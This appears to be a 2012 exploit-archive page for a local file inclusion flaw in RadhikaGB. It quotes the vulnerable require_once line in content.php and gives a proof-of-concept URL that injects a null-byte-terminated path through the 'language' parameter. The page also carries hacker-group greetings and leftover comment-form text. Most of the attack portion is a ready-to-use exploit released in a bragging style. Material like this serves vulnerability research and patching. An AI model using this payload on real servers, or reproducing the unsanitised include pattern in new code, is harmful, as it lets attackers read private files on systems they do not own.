RadhikaGB Local File Inclusion

2012.02.17

Credit: T0x!c

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-98

# Exploit Title: [RadhikaGB final version Local File Inclusion]
# Date: [16/02/2012]
# Author: [T0x!c]
# Software Link: [http://softacme.com/radhikagb/download/]
# Version: [RadhikaGB final version ]
# Tested on: [Windows XP]
:::::::::::::::::::::::::
=================Exploit=================
-=[ vuln c0de ]=-
/Path/content.php
28 require_once("lang/$data[language].php");
----exploit----
POC : http://[ Address ]/[ Path ]/content.php?language=[LFI]%00
#===========================[ Exploited By T0x!c ]========================
# Greatz to :
# KedAns-Dz * Caddy-Dz * Kha&miX * Jago-dz * KinG Of PiraTeS * Kalashinkov
# and ALL AkgerianS Hackers
# EnJoY o_O
# http://www.Dz-Team.Biz
#==========================================================================

References:

http://softacme.com/radhikagb/download/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

RadhikaGB Local File Inclusion

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.